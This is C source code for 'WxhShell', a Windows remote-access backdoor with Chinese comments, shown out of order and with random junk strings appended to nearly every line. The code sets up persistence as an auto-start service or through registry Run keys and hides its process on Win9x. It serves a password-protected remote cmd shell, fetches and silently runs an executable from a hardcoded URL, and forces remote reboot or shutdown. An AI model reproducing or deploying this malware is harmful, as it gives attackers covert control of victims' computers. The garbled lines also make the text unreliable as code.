    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 077 wk  
    if(Boot(SHUTDOWN)) ~) vz`bD1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7t|011<  
    else { k .W1bF9n6  
    closesocket(wsh); II{"6YI>  
    ExitThread(0); x k&# fW^r  
    } Rz=wInFs  
    break; ilkN3J  
    } ^) 5*?8#  
  // 获取shell dd!Q[]$ }  
  case 's': { C$^WW}S  
    CmdShell(wsh); AO]1`b:  
    closesocket(wsh); KWH:tFL.  
    ExitThread(0); #~`d ;MC  
    break; ejlau#8"  
  } ~~{+?v6B]  
  // 退出 z{A~d  
  case 'x': { @K}Bll.E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '%KaAi$  
    CloseIt(wsh); 9&'HhJm  
    break; {hBnEj^@  
    } PG3,MCf:  
  // 离开 'b Kc;\  
  case 'q': { +/!y#&C&*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4/ Xu,pT  
    closesocket(wsh); `0Xs!f  
    WSACleanup(); =4LyE6  
    exit(1); [*^ rH:  
    break; ]3CWb>!_  
        } [Ee <SB{  
  } R)'[Tt`#R  
  } N`NW*~  
v6O5n(5,,  
  // 提示信息 'rSJ9Mw"x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);    
} q;9OqArq  
  } "~6IjW*/  
RBV*e9P%  
  return; I4MZ JAYk  
} !'8jy_<9  
eD0|6P;Ei  
// shell模块句柄 8eD/9PD=F  
int CmdShell(SOCKET sock) 1|oE3  
{ -k,?cEjCs  
STARTUPINFO si; PQ(/1v   
ZeroMemory(&si,sizeof(si)); t^8|t(Lq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "hLm wz|a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~otV'=/my  
PROCESS_INFORMATION ProcessInfo; `2@f=$B  
char cmdline[]="cmd"; c[;=7-+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o~ReeZ7)Zg  
  return 0; o3a%u(   
} a_k~z3wG  
-\V;Gw8mD  
// 自身启动模式 Zxn>]Z_  
int StartFromService(void) 7nk3^$|  
{ j:xm>X'  
typedef struct uF<\|y rFt  
{ YL9Tsw  
  DWORD ExitStatus; XrN]}S$N  
  DWORD PebBaseAddress; vfOG(EkG.?  
  DWORD AffinityMask; T,5(JP(h3  
  DWORD BasePriority; NU.YL1  
  ULONG UniqueProcessId; o;'-^ LJ  
  ULONG InheritedFromUniqueProcessId; Y!3i3D  
}   PROCESS_BASIC_INFORMATION; oE$zOS&2  
:}[ D;cx  
PROCNTQSIP NtQueryInformationProcess; 9 N9Q#o$!.  
F{FSmUxzK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JwcC9 O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RgLkAHA  
JeU1r-i  
  HANDLE             hProcess; apv"s+  
  PROCESS_BASIC_INFORMATION pbi; E rnGX#@v  
4 |xQQv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f(.t0{Etq  
  if(NULL == hInst ) return 0; ,Zb_Pu   
1JF>0ijU@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %oiA'hz;*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vz`r !xj)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @S?D}myD  
G[\3)@I  
  if (!NtQueryInformationProcess) return 0; GFgh{'|  
q.v_?X<_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?tf<AZ=+^L  
  if(!hProcess) return 0; |eH*Q%M  
yr34&M(a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xQ\S!py-  
s-),Pv|  
  CloseHandle(hProcess); I_On0@%T5b  
bh UghHT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;#S4$wISw`  
if(hProcess==NULL) return 0; !E9A=u{  
jQY^[A  
HMODULE hMod; 1 eMaKT_=  
char procName[255]; !k=~a]  
unsigned long cbNeeded; -ZBSkyMGy  
WZ^u%Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +3k#M[Bn}  
wPH1g*U  
  CloseHandle(hProcess); 5c-'m? k  
*" ,"u;&  
if(strstr(procName,"services")) return 1; // 以服务启动 Mx=L lC)  
:1e'22[=.  
  return 0; // 注册表启动 6Y/TqI[   
} |n\(I$  
psB9~EU&Q  
// 主模块 A3zO&4f ]  
int StartWxhshell(LPSTR lpCmdLine) `sJv?  
{ n^k Uu2g|  
  SOCKET wsl; W0KSLxM  
BOOL val=TRUE; E?F?)!%  
  int port=0; T``~YoIdz  
  struct sockaddr_in door; -mqTlXM  
3R ZD=`  
  if(wscfg.ws_autoins) Install(); 7A4 6?kfu  
J)_IfbY  
port=atoi(lpCmdLine); yMBFw:/o  
WkK.ON^  
if(port<=0) port=wscfg.ws_port; % !p/r`  
z)&GF$*  
  WSADATA data; {b90c'8?a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i-31Cxb  
8ubb~B;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :qO)^~x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =.f<"P51k  
  door.sin_family = AF_INET; cK H By  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6 +x>g  
  door.sin_port = htons(port); =-8y =  
) GF>]|CG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dp" xO<PE2  
closesocket(wsl); eHH qm^1z  
return 1; (vr v-4  
} cO/.(KBF  
jGKasI`  
  if(listen(wsl,2) == INVALID_SOCKET) { ]6TX)1  
closesocket(wsl); J)a^3>  
return 1; /_CSRi&  
} 7s.vJdA]6  
  Wxhshell(wsl); A_<1}8{L  
  WSACleanup(); Q^\f,E\S  
:H`Z.>K  
return 0; h6C:`0o  
Kgu#M i~  
} - ]Mp<Y  
IL N0/eH  
// 以NT服务方式启动 t/0h)mL}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i 79;;9M  
{ 8WL*Pr 1I  
DWORD   status = 0; o9L$B  
  DWORD   specificError = 0xfffffff; u4;#~##  
L'$;;eM4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rH5'+x K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CHNIL^B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; </7_T<He.  
  serviceStatus.dwWin32ExitCode     = 0; ^ G@o} Z  
  serviceStatus.dwServiceSpecificExitCode = 0; ?&GV~DYxA  
  serviceStatus.dwCheckPoint       = 0; !L\P.FP7b  
  serviceStatus.dwWaitHint       = 0; UA$Xa1  
&?j]L4%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x\2N @*I:  
  if (hServiceStatusHandle==0) return; Hy0l"CA*|  
V( bU=;Qo  
status = GetLastError();  R7-+@  
  if (status!=NO_ERROR) ejI nJ  
{ O^yD b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }wR&0<HA  
    serviceStatus.dwCheckPoint       = 0; lpHz*NZ0  
    serviceStatus.dwWaitHint       = 0; u &s>UkR  
    serviceStatus.dwWin32ExitCode     = status; r-k,4Yz  
    serviceStatus.dwServiceSpecificExitCode = specificError; XH{P@2~l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DqTp*hI  
    return; [d/uy>z,  
  } @I,:(<6  
Ve\=By-a|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1 !`B8y)  
  serviceStatus.dwCheckPoint       = 0; 4Hcds9y9  
  serviceStatus.dwWaitHint       = 0; mzh7E[S_,i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E A}Vb(2  
} b\H !\A  
ThmN^N  
// 处理NT服务事件,比如:启动、停止 +p#Q|o'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l4`HuNR1  
{ FW7@7cVoF  
switch(fdwControl) lL{1wCsl  
{ O9(6?n  
case SERVICE_CONTROL_STOP: !K319 eE  
  serviceStatus.dwWin32ExitCode = 0; &fu J%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bfz]PN78.G  
  serviceStatus.dwCheckPoint   = 0; [_SV$Jz  
  serviceStatus.dwWaitHint     = 0; wSP'pM{#2  
  { 0?d}Oj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5u3SP?.&  
  } {u,yX@F4l  
  return; Zn9ecN  
case SERVICE_CONTROL_PAUSE: {&Es3+{A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o\7q!  
  break; nt*nTtcE  
case SERVICE_CONTROL_CONTINUE: dl&402  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y%^TZ[S  
  break; +`H{  
case SERVICE_CONTROL_INTERROGATE: 1l*O;J9By  
  break; jVhfpS[  
}; =ijVT_|u0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )RE~=*?d  
} o(_~ st<  
zP$Ef7bB  
// 标准应用程序主函数 ,Xt!dT-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zBd)E21H  
{ _onEXrM  
]t|-  
// 获取操作系统版本 xIh,UW#  
OsIsNt=GetOsVer(); T nG=X:+=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KeiPo KhZi  
:VEy\ R>W  
  // 从命令行安装 ]&l%L4Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); C-6m[W8S  
4RXF.kJ3=  
  // 下载执行文件 5? rR'0  
if(wscfg.ws_downexe) { ",&c"r4c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s.oh6wz  
  WinExec(wscfg.ws_filenam,SW_HIDE); 21\t2<"  
} Skn2-8;10  
v%6mH6V  
if(!OsIsNt) { :n t\uwh  
// 如果时win9x,隐藏进程并且设置为注册表启动 g9$P J:  
HideProc(); hy?e?^  
StartWxhshell(lpCmdLine); kbF+aS  
} NDv_@V(D  
else )Ap0" ?q  
  if(StartFromService()) sF=8E8qa   
  // 以服务方式启动 C@8WY  
  StartServiceCtrlDispatcher(DispatchTable); qIIl,!&}A  
else +@c-:\K%  
  // 普通方式启动 DoYzTSWx  
  StartWxhshell(lpCmdLine); [)&(zJHX  
Hlg Q0qb  
return 0; a'pJg<  
} S@'yuAe*G  
R:LT hFx  
~wdKO7fs  
~>]/1JFz  
=========================================== WKwU:im  
m {)F9F  
\HsrUZ~  
[,1\>z|&  
0,x<@.pW  
EN!Q]O|  
" :',Q6j(s  
STxreW1  
#include <stdio.h> (Z72 3)  
#include <string.h> AX= 4{b'  
#include <windows.h> TT0~41&l  
#include <winsock2.h> 1-=zSWmyK  
#include <winsvc.h> 1*>lYd8 _  
#include <urlmon.h> DE^@b+6  
\?X'U:  
#pragma comment (lib, "Ws2_32.lib") ^8#;>+7R  
#pragma comment (lib, "urlmon.lib") D\ H) uV`  
a &89K  
#define MAX_USER   100 // 最大客户端连接数 YdI&OzaroE  
#define BUF_SOCK   200 // sock buffer 1ukCH\YgU  
#define KEY_BUFF   255 // 输入 buffer =!RlU)w  
[H!8m7i;  
#define REBOOT     0   // 重启 zU7/P|Dw+  
#define SHUTDOWN   1   // 关机 b2Jgg&?G  
z^q ~|7  
#define DEF_PORT   5000 // 监听端口 ]5=C3Y  
#el i_Cxe  
#define REG_LEN     16   // 注册表键长度 [7:(e/&  
#define SVC_LEN     80   // NT服务名长度 '#fwNbD  
3~%wA(|A  
// 从dll定义API ?l3PDorR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,X2CV INb}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?_+h+{/@B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3]iBX`Ni  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aNW!Y':*  
P}El#y#&  
// wxhshell配置信息 eI 6G  
struct WSCFG { qrj:H4#VB  
  int ws_port;         // 监听端口 Ak\w)!?s  
  char ws_passstr[REG_LEN]; // 口令 ]qLro<  
  int ws_autoins;       // 安装标记, 1=yes 0=no ua^gG3n0  
  char ws_regname[REG_LEN]; // 注册表键名 . >{.!a  
  char ws_svcname[REG_LEN]; // 服务名 7Qc 4Oz:t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d1`us G"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cTR@ :sm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T%\f$jh6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4l6+8/Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D\Nhq Vw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MMI7FlfY  
Xyrf$R'  
}; ^,$>z*WQ.  
7|"gMw/  
// default Wxhshell configuration Psf'#4g  
struct WSCFG wscfg={DEF_PORT, *)2& gQ&%+  
    "xuhuanlingzhe", (RL5L=,u  
    1, 6S~l gH:  
    "Wxhshell", U#jbii6e  
    "Wxhshell", d`_X$P4y  
            "WxhShell Service", wjr1?c  
    "Wrsky Windows CmdShell Service", ]y3'6!  
    "Please Input Your Password: ", 6uU2+I  
  1, TzCNY@y  
  "http://www.wrsky.com/wxhshell.exe", L)sCc0fv7k  
  "Wxhshell.exe" B@Ae2_;  
    }; m 8Q[+_:$H  
YXR%{GUP[  
// 消息定义模块 j^g^=uau  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <]u~;e57  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !]W}I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Iaq7<$XU  
char *msg_ws_ext="\n\rExit."; <Q4yN!6  
char *msg_ws_end="\n\rQuit."; -qPYm?$  
char *msg_ws_boot="\n\rReboot..."; d@:4se-q+  
char *msg_ws_poff="\n\rShutdown..."; s5s'$|h"  
char *msg_ws_down="\n\rSave to "; Z"# /,?|3@  
6+MZ39xC  
char *msg_ws_err="\n\rErr!"; kc3dWWPe  
char *msg_ws_ok="\n\rOK!"; Puu O2TZ  
=]OG5b_-Y  
char ExeFile[MAX_PATH]; !Ol>![  
int nUser = 0; 9K>$  
HANDLE handles[MAX_USER]; bUW`MH7yJ  
int OsIsNt; `[.':"~2N  
>lo,0oG  
SERVICE_STATUS       serviceStatus; gCMwmanX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vsjl8L  
RaS7IL:e  
// 函数声明 | 'SqG}h  
int Install(void); -N')LY  
int Uninstall(void); l>i<J1  
int DownloadFile(char *sURL, SOCKET wsh); QsaaA MGY  
int Boot(int flag); *EZ'S+wR  
void HideProc(void); PF,|Wzx  
int GetOsVer(void); fNVNx~E  
int Wxhshell(SOCKET wsl); .}}w@NO  
void TalkWithClient(void *cs); FM c9oyU~  
int CmdShell(SOCKET sock); 50:$km\  
int StartFromService(void); -!dL <  
int StartWxhshell(LPSTR lpCmdLine); a!1\,.  
7PDz ]i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OZ*V7o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B u ~N)^  
; 7`y##  
// 数据结构和表定义 m)A~1+M$)L  
SERVICE_TABLE_ENTRY DispatchTable[] = 'NM$<<0  
{ +v 9@du  
{wscfg.ws_svcname, NTServiceMain}, 'g8~uP  
{NULL, NULL} I e#LZti  
}; W2F %E  
:EISms  
// 自我安装 ?mK`Wleh?  
int Install(void) Ip/_uDi+!Z  
{ ,= ;d<O8  
  char svExeFile[MAX_PATH]; g4BEo'  
  HKEY key; AwhXCq|k  
  strcpy(svExeFile,ExeFile); `7|\Gqy  
'V reO52  
// 如果是win9x系统,修改注册表设为自启动 H!y%FaTi  
if(!OsIsNt) { zCdQI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z|YiYQl[)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %)7HBj(*J  
  RegCloseKey(key); 'J&&F2O%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .=WsB@+   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KJ Gh)  
  RegCloseKey(key); Z:l.{3J$  
  return 0; \}0J%F1  
    } E6iUa'  
  } OY'490  
} sLE@Cm]k  
else { *&b~cyC  
aZ%  
// 如果是NT以上系统,安装为系统服务 o2cZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k%iZ..  
if (schSCManager!=0) C:77~f-+rQ  
{ 9/rX%  
  SC_HANDLE schService = CreateService X\?e=rUfn  
  ( -5Qsc/ s&  
  schSCManager, (UDR=7w)  
  wscfg.ws_svcname, $7{|  
  wscfg.ws_svcdisp, ;><9R@0  
  SERVICE_ALL_ACCESS, 6Q&R,"!$p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wl1JKiodg  
  SERVICE_AUTO_START, bgW=.s  
  SERVICE_ERROR_NORMAL, E>j*m}b  
  svExeFile, fr~e!!$H  
  NULL, nRpZ;X)'.  
  NULL, D2$"!7O1H  
  NULL, 'Ldlo+*|5  
  NULL, FF:Y7wXW  
  NULL 9kcp(  
  ); b?#k  
  if (schService!=0) S ^?&a5{o  
  { ,LjB%f[  
  CloseServiceHandle(schService); xP<cF  
  CloseServiceHandle(schSCManager); X G fLi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V j\1 HQ  
  strcat(svExeFile,wscfg.ws_svcname); .6Swc?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &8R%W"<K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S0V%JY;Gv  
  RegCloseKey(key); VXforI  
  return 0; 7xAzd# c?=  
    } zi~_[l-  
  } "Jw6.q+  
  CloseServiceHandle(schSCManager); ;eznONNF  
} Dp 0   
} _w+ix9Fr?  
2| u'J  
return 1; 9/OB!<*V|  
} r2A(GUz  
m2[q*k]AtS  
// 自我卸载 v~>^c1:  
int Uninstall(void) =F2e*?a3  
{ FL 5u68  
  HKEY key; -Dw qoWZ  
e[fzy0  
if(!OsIsNt) { sidSY8j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ar.w'z  
  RegDeleteValue(key,wscfg.ws_regname); . W{\wk n  
  RegCloseKey(key); .d:sQ\k~=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B mq7w,L.  
  RegDeleteValue(key,wscfg.ws_regname); " &B/v"nj  
  RegCloseKey(key); ,fQc0gM=[  
  return 0; lc/q0  
  } ^7C?yC  
} 0Y#S2ty  
} #87:Or1  
else { *S.R#4w  
uX*H2"A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %\?2W8Qv_J  
if (schSCManager!=0) eiB5 8b3  
{ mA:NAV $!s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `X8AM=  
  if (schService!=0) 6 flc  
  { \HFeEEKH  
  if(DeleteService(schService)!=0) { g+gHIb7{  
  CloseServiceHandle(schService); (q+U5Ls6  
  CloseServiceHandle(schSCManager); $a(EF 6  
  return 0; SGn:f>N  
  } JF]HkH_u  
  CloseServiceHandle(schService); L*tn>AO  
  } mBgMu@zt)  
  CloseServiceHandle(schSCManager); }PGl8F !  
} wXf_2qB9  
} is`Eqcj`dr  
iQpKcBx  
return 1; dxlaoyv:  
} E 5PefD\m  
aF4vNUeG  
// 从指定url下载文件 hA)tad]  
int DownloadFile(char *sURL, SOCKET wsh) w~>V2u_-  
{ }0c  
  HRESULT hr;  Ex35  
char seps[]= "/"; Wbc*x  
char *token; /X)fWO S6  
char *file; Hk%m`|Z  
char myURL[MAX_PATH]; O.S(H1z<G  
char myFILE[MAX_PATH]; VJ P]Jy_  
jJ-j   
strcpy(myURL,sURL); b@@`2O3"  
  token=strtok(myURL,seps); 6R% I)  
  while(token!=NULL) X_XeI!,b  
  { IGs!SXclCs  
    file=token; C,:3z  
  token=strtok(NULL,seps); Oa=0d;_  
  } o|G.tBpKg  
eX$P k:  
GetCurrentDirectory(MAX_PATH,myFILE); `-S6g^Y  
strcat(myFILE, "\\"); 0%.l|~CE&  
strcat(myFILE, file); ZK4/o  
  send(wsh,myFILE,strlen(myFILE),0); jvn:W{'Q  
send(wsh,"...",3,0); %76N$`{u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n\ aG@X%oq  
  if(hr==S_OK) !=>pI/ECQ*  
return 0; 31-%IkX+k  
else  lTsl=  
return 1; S!o!NSn@1  
:WejY`}H%  
} :i+Tf~k{  
Kr`Cr5v  
// 系统电源模块 RP&H9>  
int Boot(int flag) wYZFW'5p  
{ gl-O"%rMcL  
  HANDLE hToken; 'l2'%@E>  
  TOKEN_PRIVILEGES tkp; XPE{]4 g  
-#= v~vE  
  if(OsIsNt) { z>+@pj   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lil1$K: i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a%DnRkRr  
    tkp.PrivilegeCount = 1; K:/%7A_{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eZs34${fN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xS]=WO*  
if(flag==REBOOT) { aLTC#c%U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W>0 36  
  return 0; c*ac9Y'o  
} mjG-A8y  
else { * 3mF.^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S{aK\>>H  
  return 0; MDa 4U@Q  
} dN J2pfvv  
  } h{I)^8,M  
  else { DU#6%8~  
if(flag==REBOOT) { S !cc%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U bT7  
  return 0; d(zBd=;  
} 7:t+  
else {  6!])\Ay  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d4F3!*@(  
  return 0; +s.r!?49+  
} WjtmV2b<7  
} 8@ck" LUzD  
a=\r~Z7E  
return 1; Au08k}h<G  
} GB Ia Ul  
PX}YDC zP$  
// win9x进程隐藏模块 hSE\RX 9  
void HideProc(void) hl?G_%a  
{ U7(84k\j  
C]K|;VQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b&X- &F  
  if ( hKernel != NULL ) >8+:{NW  
  { }2;~':Mklz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J@w Q3#5a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eS9uKb5n(  
    FreeLibrary(hKernel); _oxhS!.*  
  } 6hQ?MYX  
<rV3(qb#]J  
return; 3G|n`dj  
} pq$`T|6^  
vK z/-9im  
// 获取操作系统版本 mnswG vY  
int GetOsVer(void) ,cD(s(6+  
{ > f,G3Ay  
  OSVERSIONINFO winfo; =m6;]16D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z6#~B&  
  GetVersionEx(&winfo); >QV=q`I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LO0<=4iN(  
  return 1; G4][`C]8c  
  else 5]DgfwX  
  return 0; #@Yw]@5M  
} uH S)  
B B*]" gT  
// 客户端句柄模块 HTuv_kE  
int Wxhshell(SOCKET wsl) Z}6   
{ !=M[u+-  
  SOCKET wsh; :4|ubu  
  struct sockaddr_in client; Lgl%fO/<t  
  DWORD myID; e>\[OwF-x  
uuW._$.A>  
  while(nUser<MAX_USER) `+cc{k  
{ 0w}OE8uq  
  int nSize=sizeof(client); D9^.Eg8W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %_N-~zZ1E  
  if(wsh==INVALID_SOCKET) return 1; hOjy$Z  
yUcWX bT@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P 0v&*y3Y  
if(handles[nUser]==0) y6tzmyg  
  closesocket(wsh); _Vr>/f  
else &|'k)6Rx  
  nUser++; qg6283'?  
  } ousvsP%'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n 5h4]u  
Lq.aM.&;#  
  return 0; ibo{!>m  
} U {Xg#UN  
x TEDC,B  
// 关闭 socket F3j#NCuO=z  
void CloseIt(SOCKET wsh) /f2HZfj  
{ CU'$JF  
closesocket(wsh); [;yEG$)K  
nUser--; p\T.l <p  
ExitThread(0); 70IBE[T&  
} >DqV^%2l  
#wn`choT'  
// 客户端请求句柄 J+ tpBPmb  
void TalkWithClient(void *cs) ,q$'hYTaJ  
{ &' E(  
|E)-9JSRy  
  SOCKET wsh=(SOCKET)cs; _Eo$V&  
  char pwd[SVC_LEN]; R]hilb'a  
  char cmd[KEY_BUFF]; G`3/${ti  
char chr[1]; AB92R/  
int i,j; HAJK%zLc  
CYD&#+o  
  while (nUser < MAX_USER) { 8wJfG Y  
;G!JKg  
if(wscfg.ws_passstr) { oqeA15k$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %!Z9: +;B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TV#X@jQ  
  //ZeroMemory(pwd,KEY_BUFF); rbfP6t:c3  
      i=0; "i3wc&9!?W  
  while(i<SVC_LEN) { ^]_[dqd  
8bT]NvCA  
  // 设置超时 Hxe!68{aR  
  fd_set FdRead; dJ~AMol  
  struct timeval TimeOut; O~Eju  
  FD_ZERO(&FdRead); z2:^Qg  
  FD_SET(wsh,&FdRead); +zM WIG  
  TimeOut.tv_sec=8; 8XFs)1s[  
  TimeOut.tv_usec=0; q^5j&jx Vl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tB-0wD=PR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >drG,v0qh  
}',/~T6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "`;$wA  
  pwd=chr[0]; ;VVKn=X=S=  
  if(chr[0]==0xd || chr[0]==0xa) { :5`=9 _|  
  pwd=0; 3 sUTdCnNf  
  break; f'501MJu  
  } T \d-r#{  
  i++; a B(_ZX'L  
    } 4#jW}4C{  
aPD4S&"Q  
  // 如果是非法用户,关闭 socket |T!ivd1G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X; [$yW9hE  
} BllS3I}V  
=z_.RE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `r?xo7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z  u53mZ  
jx*jYil  
while(1) { -.XICKz  
J@$h'YUF  
  ZeroMemory(cmd,KEY_BUFF); -qv*%O@  
<0R$yB  
      // 自动支持客户端 telnet标准   -%R3YU3  
  j=0; -nM=^ i4)  
  while(j<KEY_BUFF) { k'H+l]=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >iE/t$%1  
  cmd[j]=chr[0]; T["(wPrt  
  if(chr[0]==0xa || chr[0]==0xd) { 8n_!WDD  
  cmd[j]=0; 954!ED|F(  
  break; B{x`^3q R  
  } OQl7#`G!H%  
  j++; TV&:`kH  
    } r1vF/yt(  
T >BlnA  
  // 下载文件 # !:u*1  
  if(strstr(cmd,"http://")) { |a||oyrN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6} b1*xQ  
  if(DownloadFile(cmd,wsh)) b@6hGiqx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T'W)RYnwl  
  else ,0j7qn@tm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =rH' \7T  
  } Q7V*~{  
  else { qIXo_H&\C  
,# i@jB  
    switch(cmd[0]) { T9&-t7:  
  5~BM+ja  
